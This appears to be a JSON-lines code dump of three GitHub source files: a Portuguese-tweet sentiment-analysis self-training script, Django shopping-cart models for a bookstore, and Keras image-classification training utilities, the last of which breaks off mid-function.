+{"seq_id":"889417859","text":"import os, sys\nimport numpy as np\nimport nlpnet\nfrom random import shuffle as shuffle_list\n\nfrom utils import vectorize\nfrom model import get_model\nfrom model import get_distances\nfrom features import FeatureExtractor\n\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import StratifiedKFold\n\nfrom sklearn.metrics import confusion_matrix\n\nfrom sklearn.svm import LinearSVC\nfrom sklearn.feature_selection import SelectFromModel\n\nfrom scipy import sparse\n\nCLASSES = ['neg', 'neu', 'pos']\nNEG, NEU, POS = 0, 1, 2 \nTHRESHOLD = 0\n\ndef help(*args):\n\tif args:\n\t\tprint(\"-----------------------------------------------\")\n\t\tprint('error: ' + args[0])\n\t\tprint('use -help for more information.')\n\t\texit()\n\n\tprint(\"-----------------------------------------------\")\n\tprint(\"Using sent_analyzer:\\n\")\n\tprint(\"python3 sent_analyzer.py -mod <MOD> -classifier <CLASSIFIER> -params <FILE> -saveto <FOLDER> -verbose -evaluate <TYPE_OF_EVAL> <TRAIN_FILES> <TEST_FILES>\")\n\tprint()\n\tprint(\"-mod <MOD> .... The type of running you desire.\")\n\tprint(\" * 'CLASSIFY': for classification purposes.\")\n\tprint(\"      * 'saveto' option will write a file for statistics.\")\n\tprint(\" * 'SELF':     for self-training corpus expansion\")\n\tprint(\" * 'CO':       for co-training corpus expansion\")\n\tprint(\"\\n-classifier <CLASSIFIER> .... which classifier is going to be used.\")\n\tprint(\" * 'LinearSVM': SVM with a Linear kernel.\")\n\tprint(\" * 'PolySVM': SVM with polynomial with degree of 3.\")\n\tprint(\" * 'NB': Gaussian Naive Bayes classifier.\")\n\tprint(\" * 'LR': Logistic Regression classifier.\")\n\tprint(\" * 'MLP': Multi-layer Perceptron classifier.\")\n\tprint(\" * 'ALL': It will use all of the above classifiers and present the results for comparison.\")\n\tprint(\"\\n-params <FILE> .... path to a file with parameters for data representation, type '--help-params' for further instructions.\")\n\tprint(\"\\n-saveto <FOLDER> .... path to the folder where the data will be stored. Please, use a not existant folder. Don't be a douche about it.\")\n\tprint(\"\\n-verbose .... it will basically print everything.\")\n\tprint(\"\\n-evaluate <TYPE_OF_EVAL> <TRAIN_FILES> <TEST_FILES> .... type of evaluation followed by files to be used in it.\")\n\tprint(\" * Type of evaluation can be:\")\n\tprint(\"   * 10-fold : for 10-fold cross validation. No need of test files for this. (5 and 3 folds are also available)\")\n\tprint(\"   * test : for train/test evaluation.\")\n\tprint(\" * <TRAIN_FILES> must be named with extensions '.pos', '.neu', '.neg'. The path must to the folder with the preffix.\")\n\tprint(\" * <TEST_FILES> follows the same as above. Again, don't be a douche... that's how it is.\")\n\tprint(\"\\n Thanks for using. Hope you can be satisfied to the results you may obtain.\")\n\texit()\n\n''' load_data <file_name, shuffle=True>\n\tReceives the path to a file, reads it and returns a list with three lists.\n\tInput:\n\t - file_name <str> : path to file.\n\t - shuffle <bool> : shuffle or not the data.\n\tOutput:\n\t - list[sentences, labels, ids]\n\t   - sentences: the sentences of the data.\n\t   - labels   : the labels (0,1,2).\n\t   - ids      : the ids for each tweet.\n'''\ndef load_data(file_name, shuffle=True, verbose=False):\n\tglobal CLASSES\n\tfile_sentences = []\n\tfile_labels = []\n\tfile_ids = []\n\tfor label, c in enumerate(CLASSES):\n\t\tif verbose: print('reading ' + file_name)\n\t\twith open('%s.%s' % (file_name, c), 'r', encoding='utf8') as f:\n\t\t\tfor line in f:\n\t\t\t\tif len(' '.join(line.strip().split()[1:]).strip()) < 1:\n\t\t\t\t\tprint('-out ['+line.strip().split()[0]+']')\n\t\t\t\t\tcontinue\n\t\t\t\tfile_sentences.append(' '.join(line.strip().split()[1:]))\n\t\t\t\tfile_ids.append(int(line.strip().split()[0]))\n\t\t\t\t#file_sentences.append(data[1:])\n\t\t\t\tfile_labels.append(label)\n\t\t\t\t#file_ids.append(int(data[0]))\n\tfile_data = [file_sentences, file_labels, file_ids]\n\tif shuffle:\n\t\tfile_indexes = list(range(len(file_sentences)))\n\t\tshuffle_data = lambda v, ind: [v[i] for i in ind]\n\t\tshuffle_list(file_indexes)\n\t\tfor i in range(len(file_data)):\n\t\t\tfile_data[i] = shuffle_data(file_data[i], file_indexes)\n\treturn file_data\n\n\ndef run_self(classifier='linearsvm', options='bow negation emoticon emoji senti_words postag verbose', percent='0.1', fs=False,\n\t\t\t verbose=False, train_file='', embedding_file=False, nb_classes=3):\n\tglobal THRESHOLD\n\t\n\t# Changing number of classes from 3 to 2\n\tif nb_classes == 2:\n\t\tglobal CLASSES\n\t\tglobal POS \n\t\t\n\t\tCLASSES = ['neg', 'pos']\n\t\tPOS = 1\n\t\n\t#Setting flags\n\tf_bow = False\n\tf_negation = False\n\tf_emoticon = False\n\tf_emoji = False\n\tf_senti_words = False\n\tf_postag = False\n\n\t#Initiating threshold\n\tadding_threshold = 0\n\n\tfor op in options:\n\t\tif 'bow' in options:\n\t\t\tf_bow = True\n\t\tif 'negation' in options:\n\t\t\tf_negation = True\n\t\tif 'emoticon' in options:\n\t\t\tf_emoticon = True\n\t\tif 'emoji' in options:\n\t\t\tf_emoji = True\n\t\tif 'senti_words' in options:\n\t\t\tf_senti_words = True\n\t\tif 'postag' in options:\n\t\t\tf_postag = True\n\n\tpercent = float(percent)\n\n\t#LOAD TRAIN FILES\n\tif verbose: print(\"################################################################\")\n\tif verbose: print('loading data...')\n\tcp_sentences, cp_labels, cp_ids = load_data(train_file,shuffle=True)\n\t\n\t#################################################\n\t\n\tsplit_num = int(1/percent)\n\t\n\tskf = StratifiedKFold(n_splits=10)\n\tplaceholder = np.zeros(len(cp_sentences))\n\tunlabeled_idx = None\n\tlabeled_idx = None\n\n\tfor unlabeled_idx, labeled_idx in skf.split(placeholder,cp_labels):\n\t\tbreak\n\t\n\tunlabeled_sentences = []\n\tunlabeled_labels = []\n\tunlabeled_ids = []\n\n\tdata_sentences = []\n\tdata_labels = []\n\tdata_ids = []\n\n\tfor i in unlabeled_idx:\n\t\tunlabeled_sentences.append(cp_sentences[i])\n\t\tunlabeled_labels.append(cp_labels[i])\n\t\tunlabeled_ids.append(cp_ids[i])\n\tfor i in labeled_idx:\n\t\tdata_sentences.append(cp_sentences[i])\n\t\tdata_labels.append(cp_labels[i])\n\t\tdata_ids.append(cp_ids[i])\n\n\tcorpus_sentences = []\n\tcorpus_ids = []\n\tcorpus_labels = []\n\tcorpus_gold = []\n\n\tTHRESHOLD = int(len(unlabeled_ids)*percent)\n\n\tif verbose: print('Threshold: ' + str(THRESHOLD) + '/' + str(percent))\n\n\tif embedding_file != False:\n\t\tif verbose: print('reading embedding file')\n\t\t'''embeddings'''\n\t\tfeats = FeatureExtractor(emb='Word2Vec', embedding_file=embedding_file, verbose=False)\n\telse:\n\n\t\tif verbose: print('initializing features')\n\t\tfeats = FeatureExtractor(bow=f_bow, negation=f_negation, emoticon=f_emoticon, emoji=f_emoji, senti_words=f_senti_words,\n\t\t\t                     postag=f_postag, verbose=False)\n\t\tfeats.make_bow(data_sentences, unlabeled_sentences)\n\n\tif verbose: print('classifier: ' + classifier + '\\n')\n\n\tif verbose: print('extracting labeled document features')\n\tX_train = feats.get_representation(data_sentences)\n\tY_train = np.array(data_labels)\n\n\tif verbose: print('extracting unlabeled document features')\n\tX_extend  = feats.get_representation(unlabeled_sentences)\n\n\t#Feature selection\n\tif fs and embedding_file == False:\n\t\tif verbose: print(X_train.shape)\n\t\tfs_clf = LinearSVC(C=0.25, penalty=\"l1\", dual=False, random_state=1).fit(X_train,Y_train)\n\t\tX_train = SelectFromModel(fs_clf,prefit=True).transform(X_train)\n\t\tX_extend = SelectFromModel(fs_clf,prefit=True).transform(X_extend)\n\t\tif verbose: print(X_train.shape)\n\n\tfor i in range(1,int(1/percent)+1):\n\t\t\t\n\t\tif verbose: print('iteration: %i' % i)\n\t\tmodel = get_model(model_name=classifier)\n\t\t\t\n\t\tif verbose: print('\\n training classifier')\n\t\tmodel.fit(X_train, Y_train)\n\n\t\tif verbose: print(' predicting labels')\n\t\t# predição\n\t\tpredictions = model.predict(X_extend)\n\t\t\t\n\t\tif verbose: print('\\nmeasuring reliability')\n\t\t# confiabilidade\n\t\tdistances = get_distances(model, X_extend, model_name=classifier)\n\n\t\tif verbose:\n\t\t\tprint('Current acc: %f' % np.mean(predictions == unlabeled_labels))\n\t\t\tf1 = f1_score(unlabeled_labels, predictions, average=None)\n\t\t\tprint(\"Current F1.\",end='')\n\t\t\tfor cl in range(0,len(CLASSES)): print(' %s: %.3f' % (CLASSES[cl].lower(), f1[cl]), end='')\n\t\t\tprint(' -> %f' % np.mean(f1))\n\t\t\tprint(confusion_matrix(unlabeled_labels, predictions))\n\n\t\treliable_predictions = []\n\t\tfor sent_id, (sent_dist, sent_pred) in enumerate(zip(distances, predictions)):\n\t\t\tdist_to_predicted_label = sent_dist[sent_pred]\n\t\t\treliable_predictions.append((sent_id, dist_to_predicted_label, sent_pred))\n\t\t\t\n\t\tadding_idx, adding_dists, adding_preds = zip(*filter_continous(reliable_predictions))\n\t\tadding_idx = np.array(adding_idx)\n\t\tkeep_idx, keep_dists, keep_preds = zip(*filter_continous_opposite(reliable_predictions))\n\t\tkeep_idx = np.array(keep_idx)\n\n\t\tif verbose:\n\t\t\tacertos_label = len(CLASSES) * [0]\n\t\t\ttotal_label = len(CLASSES) * [0]\n\t\t\ttotal_acertos = 0\n\t\t\tfor add_i, add in enumerate(adding_idx):\n\t\t\t\tcurrent_label = adding_preds[add_i]\n\t\t\t\tgold_label = cp_labels[cp_ids.index(unlabeled_ids[add])]\n\t\t\t\tif current_label == gold_label:\n\t\t\t\t\tacertos_label[gold_label] += 1\n\t\t\t\t\ttotal_acertos += 1\n\t\t\t\ttotal_label[gold_label] += 1\n\t\t\tprint('\\nAcertos p/doc: %d/%d (%f)' % (total_acertos,len(adding_idx),total_acertos/len(adding_idx)))\n\t\t\tprint('Acertos p/classe: ',end='')\n\t\t\tfor anyVar in range(0,len(CLASSES)): print(str(acertos_label[anyVar]) + '/' +str(total_label[anyVar]),end=' ')\n\t\t\tprint('')\n\n\t\t\t\n\t\tadding_preds = predictions[adding_idx]\n\n\t\tprint(\"Adding %d - \" % len(adding_preds),end='')\t\n\t\tfor c in range(0,len(CLASSES)): print(np.count_nonzero(adding_preds == c),end=' ')\n\t\tprint(\" | %d/%d\" % (len(adding_idx),len(corpus_ids)))\n\n\t\tX_train = sparse.vstack([X_train, X_extend[adding_idx]])\n\t\t#X_train = np.concatenate([X_train, X_extend[adding_idx]])\n\t\tY_train = np.concatenate([Y_train, adding_preds])\n\t\tX_extend = X_extend[keep_idx]\n\n\n\n\t\t#Adding data to final corpora\n\t\tfor count, j in enumerate(adding_idx):\n\t\t\tcorpus_ids.append(unlabeled_ids[j])\n\t\t\tcorpus_labels.append(adding_preds[count])\n\t\t\tcorpus_sentences.append(unlabeled_sentences[j])\n\t\t\t\n\t\tnew_ui = []\n\t\tnew_us = []\n\t\tnew_ul = []\n\t\tfor idx in keep_idx:\n\t\t\tnew_ui.append(unlabeled_ids[idx])\n\t\t\tnew_us.append(unlabeled_sentences[idx])\n\t\t\tnew_ul.append(unlabeled_labels[idx])\n\t\tunlabeled_sentences = new_us\n\t\tunlabeled_ids = new_ui\n\t\tunlabeled_labels = new_ul\n\n\tif verbose: print('iteration: %i' % int((1/percent)+1))\n\tmodel = get_model(model_name=classifier)\n\t\t\t\n\tif verbose: print('\\n training classifier')\n\tmodel.fit(X_train, Y_train)\n\n\tif verbose: print(' predicting labels')\n\t# predição\n\tpredictions = model.predict(X_extend)\n\t\t\t\n\tif verbose: print('\\nmeasuring reliability')\n\t\t\n\tfor count, j in enumerate(predictions):\n\t\tcorpus_ids.append(unlabeled_ids[count])\n\t\tcorpus_labels.append(j)\n\t\tcorpus_sentences.append(unlabeled_sentences[count])\n\n\tprint(\"Adding %d - \" % len(predictions),end='')\t\n\tfor c in range(0,len(CLASSES)): print(np.count_nonzero(predictions == c),end=' ')\n\tprint(\" | 0/%d\" % len(corpus_ids))\n\n\tif verbose:\n\t\tprint('Current acc: %f' % np.mean(predictions == unlabeled_labels))\n\t\tf1 = f1_score(unlabeled_labels, predictions, average=None)\n\t\tprint(\"Current F1.\",end='')\n\t\tfor cl in range(0,len(CLASSES)): print(' %s: %.3f' % (CLASSES[cl].lower(), f1[cl]), end='')\n\t\tprint(' -> %f' % np.mean(f1))\n\t\tprint(confusion_matrix(unlabeled_labels, predictions))\n\n\tif verbose:\n\t\tacertos_label = len(CLASSES) * [0]\n\t\ttotal_label = len(CLASSES) * [0]\n\t\ttotal_acertos = 0\n\t\tfor add_i, add in enumerate(unlabeled_ids):\n\t\t\tcurrent_label = predictions[add_i]\n\t\t\tgold_label = cp_labels[cp_ids.index(unlabeled_ids[add_i])]\n\t\t\tif current_label == gold_label:\n\t\t\t\tacertos_label[gold_label] += 1\n\t\t\t\ttotal_acertos += 1\n\t\t\ttotal_label[gold_label] += 1\n\t\tprint('\\nAcertos p/doc: %d/%d (%f)' % (total_acertos,len(unlabeled_ids),total_acertos/len(unlabeled_ids)))\n\t\tprint('Acertos p/classe: ',end='')\n\t\tfor anyVar in range(0,len(CLASSES)): print(str(acertos_label[anyVar]) + '/' +str(total_label[anyVar]),end=' ')\n\t\tprint('')\n\n\tgold_labels = []\n\tgold_ids = []\n\tfor i in corpus_ids:\n\t\tgold_labels.append(cp_labels[cp_ids.index(i)])\n\t\tgold_ids.append(cp_ids[cp_ids.index(i)])\n\n\tif verbose:\n\t\tprint('Final ----------------------------')\n\t\tprint('Acc: %f' % np.mean(np.array(corpus_labels) == np.array(gold_labels)))\n\t\tf1 = f1_score(gold_labels, corpus_labels, average=None)\n\t\tprint(\"F1.\",end='')\n\t\tfor cl in range(0,len(CLASSES)): print(' %s: %.3f' % (CLASSES[cl].lower(), f1[cl]), end='')\n\t\tprint(' -> %f' % np.mean(f1))\n\t\tprint(confusion_matrix(gold_labels, corpus_labels))\n\n\ndef report(distances, predictions, Y_test):\n\tacc_pred = np.mean(predictions == Y_test)\n\tf1 = f1_score(Y_test, predictions, average=None)\n\tprint('Acc: %.4f' % accuracy_score(Y_test, predictions))\n\t#print('Acc: %.4f' % acc_pred)\n\tprint(\"F1. neg: %.3f neu: %.3f post: %.3f\" % (f1[0], f1[1],f1[2]))\n\t\n\tacc_dist_min = np.mean(np.argmin(distances, axis=-1) == Y_test)\n\tacc_dist_max = np.mean(np.argmax(distances, axis=-1) == Y_test)\n\tprint('Acc dist min: %.4f' % acc_dist_min)\n\tprint('Acc dist max: %.4f' % acc_dist_max)\n\t\n\tacc_dist_min_equal = np.mean((np.argmin(distances, axis=-1) == Y_test) & (predictions != Y_test))\n\tacc_dist_max_equal = np.mean((np.argmax(distances, axis=-1) == Y_test) & (predictions == Y_test))\n\tprint('Acc dist min equal: %.4f' % acc_dist_min_equal)\n\tprint('Acc dist max equal: %.4f' % acc_dist_max_equal)\n\ndef averageProb(reliable_predictions):\n\t#print(reliable_predictions[-1])\n\tvalues = []\n\tpos = []\n\tneu = []\n\tneg = []\n\tfor i in reliable_predictions:\n\t\tvalues.append(i[1])\n\t\tif i[2] == 0:\n\t\t\tneg.append(i[1])\n\t\tif i[2] == 1:\n\t\t\tneu.append(i[1])\n\t\tif i[2] == 2:\n\t\t\tpos.append(i[1])\n\tprint('POS avg: %f | dp: %f | var: %f' % (np.average(pos),np.std(pos),np.var(pos)))\n\tprint('NEU avg: %f | dp: %f | var: %f' % (np.average(neu),np.std(neu),np.var(neu)))\n\tprint('NEG avg: %f | dp: %f | var: %f' % (np.average(neg),np.std(neg),np.var(neg)))\n\n\n\n\n\ndef sort_distances(reliable_predictions):\n\treturn sorted(reliable_predictions, key=lambda x: x[1], reverse=True)\n\ndef filter_continous(reliable_predictions):\n\tnew_rp = sort_distances(reliable_predictions)\n\treturn new_rp[:THRESHOLD]\n\ndef filter_continous_opposite(reliable_predictions):\n\tnew_rp = sort_distances(reliable_predictions)\n\treturn new_rp[THRESHOLD:]\n\ndef filter_continous2(reliable_predictions, adding_threshold):\n\tnew_rp = sort_distances(reliable_predictions)\n\tif new_rp[0][1] < adding_threshold:\n\t\tprint(new_rp[0][1],end=' ')\n\t\tprint('on')\n\t\treturn None\n\n\tfor i in range(0,len(new_rp)):\n\t\tif new_rp[i][1] < adding_threshold:\n\t\t\treturn new_rp[:i]\n\treturn new_rp\n\t\ndef filter_continous2_opposite(reliable_predictions, adding_threshold):\n\tnew_rp = sort_distances(reliable_predictions)\n\tif new_rp[-1][1] >= adding_threshold:\n\t\tprint(new_rp[-1][1],end=' ')\n\t\tprint('over')\n\t\treturn None\n\tfor i in range(0,len(new_rp)):\n\t\tif new_rp[i][1] < adding_threshold:\n\t\t\treturn new_rp[i:]\n\ndef filter_balanced(reliable_predictions, adding_threshold):\n\treliable_predictions = sort_distances(reliable_predictions)\n\tnew_rp = []\n\ttemp_rpc = []\n\tfor c in range(len(CLASSES)):\n\t\tnew_rp_c = list(filter(lambda x: x[2] == c, reliable_predictions))\n\t\tnew_rp_c = list(filter(lambda x: x[1] >= adding_threshold, new_rp_c))\n\t\ttemp_rpc.append(new_rp_c)\n\t\n\t\tnew_rp_c = new_rp_c[:int(THRESHOLD/len(CLASSES))]\n\t\tnew_rp.extend(new_rp_c)\n\treturn new_rp\n\ndef filter_balanced_opposite(reliable_predictions, adding_threshold):\n\treliable_predictions = sort_distances(reliable_predictions)\n\tnew_rp = []\n\tfor c in range(len(CLASSES)):\n\t\tnew_rp_c = list(filter(lambda x: x[2] == c, reliable_predictions))\n\t\tnew_rp_c = list(filter(lambda x: x[1] >= adding_threshold, new_rp_c))\n\t\ttmp = int(THRESHOLD/len(CLASSES))\n\t\tif int(THRESHOLD/len(CLASSES)) > len(new_rp_c):\n\t\t\ttmp = 0\n\t\tnew_rp_c = new_rp_c[tmp:]\n\t\tnew_rp.extend(new_rp_c)\n\treturn new_rp\n\t\nif __name__ == '__main__':\n\t\n\t#default options\n\t\n\n\tclassifier='linearsvm'\n\toptions='bow negation emoticon emoji senti_words postag verbose'\n\tpercent='0.1'\n\temb = False\n\ttrain_file='data/corpus/trainTT'\n\tfs = True\n\tverbose = False\n\tmd = 'self'\n\tnb_classes = 2\n\n\ti = 0\n\twhile i <= len(sys.argv[1:]):\n\t\tif sys.argv[i].lower() == '-help':\n\t\t\thelp()\n\t\tif sys.argv[i].lower() == '-fs':\n\t\t\tfs = True\n\t\tif sys.argv[i].lower() == '-v' or sys.argv[i].lower() == '-verbose':\n\t\t\tverbose = True\n\t\tif sys.argv[i].lower() == '-classifier':\n\t\t\tclassifier = sys.argv[i+1]\n\t\t\tif classifier not in ['linearsvm', 'polysvm','nb','lr','mlp','trees','randfor']:\n\t\t\t\thelp('not a valid classifier')\n\t\t\ti += 1\n\t\tif sys.argv[i].lower() == '-options':\n\t\t\toptions = sys.argv[i+1]\n\t\t\ti += 1\n\t\t\toptions = options.replace(',',' ')\n\t\tif sys.argv[i].lower() == '-mode':\n\t\t\tmd = sys.argv[i+1].lower()\n\t\t\tif md not in ['self', 'co']:\n\t\t\t\thelp('not a valid mode')\n\t\t\ti += 1\n\t\tif sys.argv[i].lower() == '-percent':\n\t\t\tpercent = sys.argv[i+1]\n\t\t\ti += 1\n\t\tif sys.argv[i].lower() == '-nb_classes':\n\t\t\tnb_classes = int(sys.argv[i+1])\n\t\t\ti += 1\n\t\tif sys.argv[i].lower() == '-train_file':\n\t\t\ttrain_file = sys.argv[i+1]\n\t\t\ti += 1\n\t\tif sys.argv[i].lower() == '-emb':\n\t\t\temb = sys.argv[i+1]\n\t\t\ti += 1\n\t\ti += 1\n\n\tif md == 'self':\n\t\trun_self(classifier=classifier, options=options, percent=percent, verbose=verbose, fs=fs, train_file=train_file, \n\t\t\tembedding_file=emb, nb_classes=nb_classes)\n","repo_name":"brasileiras-pln/tweetSentBR","sub_path":"sent-analysis/sent_analyzer_labeled.py","file_name":"sent_analyzer_labeled.py","file_ext":"py","file_size_in_byte":17000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13653777114","text":"from django.db import models\nfrom apps.books.models import Book\n\n\nclass Cart(models.Model):\n    from apps.users.models import UserProfile\n    user = models.OneToOneField(\n        UserProfile,\n        default=1,\n        related_name='cart',\n        on_delete=models.DO_NOTHING,\n        verbose_name='所属用户')\n\n    def __str__(self):\n        return self.user.username\n\n    class Meta:\n        verbose_name = '购物车'\n        verbose_name_plural = verbose_name\n\n    def get_items(self):\n        return self.item.all()\n\n    def get_checked_items(self):\n        return self.item.filter(checked=True).all()\n\n    def add(self, book):\n        # 购物车存在该书则+1\n        items = self.get_items()\n        for item in items:\n            if book.id == item.book.id:\n                item.quantity += 1\n                item.save()\n                return\n        # 否则就创建\n        cart_item = CartItem(book=book, cart=self, quantity=1)\n        cart_item.save()\n        self.save()\n\n    def remove(self, item_id):\n        items = self.get_items()\n        for item in items:\n            if item_id == item.id:\n                item.delete()\n                self.save()\n\n    def remove_checked_items(self):\n        items = self.get_checked_items()\n        for item in items:\n            item.cart = None\n            item.save()\n\n    def get_total_quantity(self):\n        total_quantity = 0\n        items = self.get_items()\n        for item in items:\n            total_quantity += item.quantity\n        return total_quantity\n\n    def get_checked_total_quantity(self):\n        total_quantity = 0\n        items = self.get_checked_items()\n        for item in items:\n            total_quantity += item.quantity\n        return total_quantity\n\n    def get_total_price(self):\n        total_price = 0\n        items = self.get_items()\n        for item in items:\n            total_price += item.get_subtotal_price()\n        return total_price\n\n    def get_checked_total_price(self):\n        total_price = 0\n        items = self.get_checked_items()\n        for item in items:\n            total_price += item.get_subtotal_price()\n        return total_price\n\n\nclass CartItem(models.Model):\n    from apps.users.models import Order\n    book = models.ForeignKey(\n        Book, related_name='item', on_delete=models.CASCADE, verbose_name='图书')\n    cart = models.ForeignKey(\n        Cart,\n        blank=True,\n        null=True,\n        related_name='item',\n        on_delete=models.CASCADE,\n        verbose_name='所属购物车')\n    order = models.ForeignKey(\n        Order,\n        blank=True,\n        null=True,\n        related_name='item',\n        on_delete=models.CASCADE,\n        verbose_name='所属订单')\n    quantity = models.PositiveSmallIntegerField(default=1, verbose_name='数量')\n    checked = models.BooleanField(default=True, verbose_name='选中')\n\n    class Meta:\n        verbose_name = '购物项'\n        verbose_name_plural = verbose_name\n\n    def __str__(self):\n        return self.book.name\n\n    def minus_item(self):\n        if self.quantity > 1:\n            self.quantity -= 1\n            self.save()\n\n    def update_quantity(self, quantity):\n        if quantity > 0:\n            self.quantity = quantity\n            self.save()\n\n    def get_subtotal_price(self):\n        return self.quantity * self.book.discount_price\n\n    def change_checked(self, option):\n        if option == 'checked':\n            self.checked = True\n        elif option == 'cancel':\n            self.checked = False\n        self.save()\n","repo_name":"skytotwo/bookstore","sub_path":"apps/carts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"15815471966","text":"import base64\nfrom dotmap import DotMap\nfrom glob import glob\nimport matplotlib.pyplot as plt\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\nfrom tensorflow import keras\nfrom keras import optimizers\nimport keras.utils as image\nfrom PIL import Image\nimport io\n\nfrom ImageDataAugmentor.image_data_augmentor import *\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, ReduceLROnPlateau # LearningRateScheduler\nfrom utils.read_config import config_reader\nfrom utils.model import ModelForTrain\n\n\n\n# Callbacks that used for training model\ndef callbacks(PATH_BEST_MODEL, config):                               \n\n    \"\"\"\n    Function creates callback list from Keras callbacks, that used in fit method\n    List consists 3 function: ModelCheckpoint, EarlyStopping, ReduceLROnPlateau\n    (for a detailed description, see: https://keras.io/api/callbacks/)\n    \n    -------\n    params:\n\n    PATH_BEST_MODEL - path to save model with best params during model train\n    config - dict (Dotmap) from configuration file with defined parameters values \n             (creates from config_reader function by reading data_config.json)\n\n    \"\"\"\n\n    checkpoint = ModelCheckpoint(os.path.join(PATH_BEST_MODEL, config.best_model_name), \n                                 monitor=config.monitor_m_checkpnt, \n                                 verbose=config.verbose_m_checkpnt, \n                                 mode=config.mode_m_checkpnt, \n                                 save_best_only=config.save_best_only\n                                 )\n\n    earlystop = EarlyStopping(monitor=config.monitor_early_stop, \n                              patience=config.patience_early_stop, \n                              restore_best_weights=config.restore_best_weights\n                              )\n\n    reduce_lr = ReduceLROnPlateau(monitor=config.monitor_reduce_plteau, \n                                  factor=config.factor_reduce_plteau, \n                                  patience=config.patience_reduce_plteau, \n                                  verbose=config.verbose_reduce_plteau,\n                                  min_lr=config.LR/config.min_lr_ratio\n                                  )\n    \n    return [checkpoint, earlystop, reduce_lr]\n\n\n\ndef save_model(paths, config, model, step_num):\n    \n    \"\"\"\n    Function loads best saved weights to model after model training from PATH_BEST_MODEL,\n    renames with num step and saves best weights and model to 'models' folder \n\n    -------\n    params:\n\n    PATH_BEST_MODEL - path to load weights with best params after training model\n    config - dict (Dotmap) from configuration file with defined parameters values \n             (creates from config_reader function by reading data_config.json)\n    model - model after one or few steps train\n    step_num - number (int) of step train model (steps differs from each other\n               with params, e.g.: numb of frozen layers img size, batch size e.t.c.)\n\n    \"\"\"\n\n    # load best weights\n    model.load_weights(os.path.join(paths.PATH_BEST_MODEL, config.best_model_name))\n    \n    # Save model & load best iteration after fitting (best_model):\n    model.save(os.path.join(paths.PATH_MODELS, f'model_step_{step_num}.h5'))\n    model.save_weights(os.path.join(paths.PATH_MODELS, f'weights_step_{step_num}.hdf5'))\n    print(f'model and weights of {step_num} step traininig are saved in {paths.PATH_MODELSL}')\n\n\n\ndef eval_model(model, test_generator):\n    \n    \"\"\"\n    Function to evaluate the metric accuracy of trained or compiled model\n    \n    -------\n    params:\n\n    model - compiled Keras model for evaluating \n    test_generator - test generator (generator without augmentations)\n\n    \"\"\"\n    \n    scores = model.evaluate(test_generator, verbose=1)\n    print(\"Accuracy: %.2f%%\" % (scores[1]*100))\n\n\n\ndef make_predictions(test_sub_generator, model, label_map):\n\n    \"\"\"\n    Function to make predictions (without using augmentations) \n    from folder 'test_upload' and using DataFrame from 'sample_submission.csv'\n        \n    -------\n    params:\n\n    test_sub_generator - generator which created with DataFrame from 'sample_submission.csv'\n                         (uses photos from folder 'test_upload').\n                         There were used AUGMENTATIONS=None when define this method from class.\n                         (see class create_generator in generator.py)\n    model - compiled (and trained) Keras model to create prediction\n    label_map - dict with form {str(cls_numb): cls_numb} with all class numbs. \n                Uses for creation to Kaggle predict form\n\n    \"\"\"\n\n    test_sub_generator.reset()\n    pred = model.predict(test_sub_generator, steps=len(test_sub_generator),  verbose=1) \n    predictions = np.argmax(pred, axis=-1) #multiple categories\n    label_map = dict((v,k) for k,v in label_map.items()) #flip k,v\n    predictions = [label_map[k] for k in predictions]\n    \n    return predictions\n\n\n\ndef make_tta(config, test_sub_generator, model, label_map):\n    \n    \"\"\"\n    Function to make predictions with test time augmentations \n    (predictions with using augmentations) \n    from folder 'test_upload' and using DataFrame from 'sample_submission.csv'\n        \n    -------\n    params:\n\n    config - dict (Dotmap) from configuration file with defined parameters values \n             (creates from config_reader function by reading data_config.json)\n    test_sub_generator - generator which created with DataFrame from 'sample_submission.csv'\n                         (uses photos from folder 'test_upload').\n                         There were used AUGMENTATIONS != None when define this method from class.\n                         (see class create_generator in generator.py)\n    model - compiled (and trained) Keras model to create prediction\n    label_map - dict with form {str(cls_numb): cls_numb} with all class numbs. \n                Uses for creation to Kaggle predict form\n\n    \"\"\"\n\n    tta_steps = config.steps_for_tta\n    predictions_list = []\n\n    for i in range(tta_steps):\n        test_sub_generator.reset()\n        preds = model.predict(test_sub_generator, steps=len(test_sub_generator),  verbose=1) \n        predictions_list.append(preds)\n    pred = np.mean(predictions_list, axis=0)\n\n    predictions_tta = np.argmax(pred, axis=-1) #multiple categories\n    label_map = dict((v,k) for k,v in label_map.items()) #flip k,v\n    predictions_tta = [label_map[k] for k in predictions_tta]\n\n    return predictions_tta\n\n\n\ndef make_submission(filenames_with_dir, predictions):\n    \n    \"\"\"\n    Function to make submission for Kaggle competition\n        \n    -------\n    params:\n\n    filenames_with_dir - filenames from 'test_upload', creates from test_sub_generator.filenames\n    predictions - predictions for images in folder 'test_upload'\n                  with using trained model and test_sub_generator\n\n    \"\"\"\n\n    submission = pd.DataFrame({'Id':filenames_with_dir, 'Category':predictions}, columns=['Id', 'Category'])\n    submission['Id'] = submission['Id'].replace('test_upload/','')\n    submission.to_csv('submission.csv', index=False)\n    print('Save submit')\n    \n    return submission\n\n\ndef choice_model(is_choice_by_input):\n    \n    \"\"\"\n    Simple function for choosing name of trained model from 'models' folder.\n    \n    -------\n    params:\n    is_choice_by_input - boolean. If True - allows to choose and return\n                         one of the model names from 'models' folder.\n                         If false - return model name from last saved step \n\n    \"\"\"\n\n    d = {}\n    for k, item in enumerate(glob(os.path.join('models', '*'))):\n        d[k+1]=os.path.basename(item)\n    \n    if is_choice_by_input:\n        print(f'trained models dict: {d}')\n        select_model_num = int(input('Input model num: '))\n    else:\n        select_model_num = list(d.keys())[-1]\n    path_model_name = os.path.join('models', d[select_model_num])\n    \n    return path_model_name\n\n\n\ndef create_model(config, is_choice_by_input):\n    \n    \"\"\"\n    Function for choosing name of trained model from 'models' folder.\n    \n    -------\n    params:\n    config - dict (Dotmap) from configuration file with defined parameters values \n             (creates from config_reader function by reading data_config.json)\n    is_choice_by_input - boolean. If True - allows to choose and return\n                         one of the model names from 'models' folder.\n                         If false - return model name from last saved step \n\n    \"\"\"\n\n\n    config.IMG_SIZE = 448\n    config.is_show_train_layers = False\n    # Creating model & compile model\n    model = ModelForTrain(config=config).build_model()\n    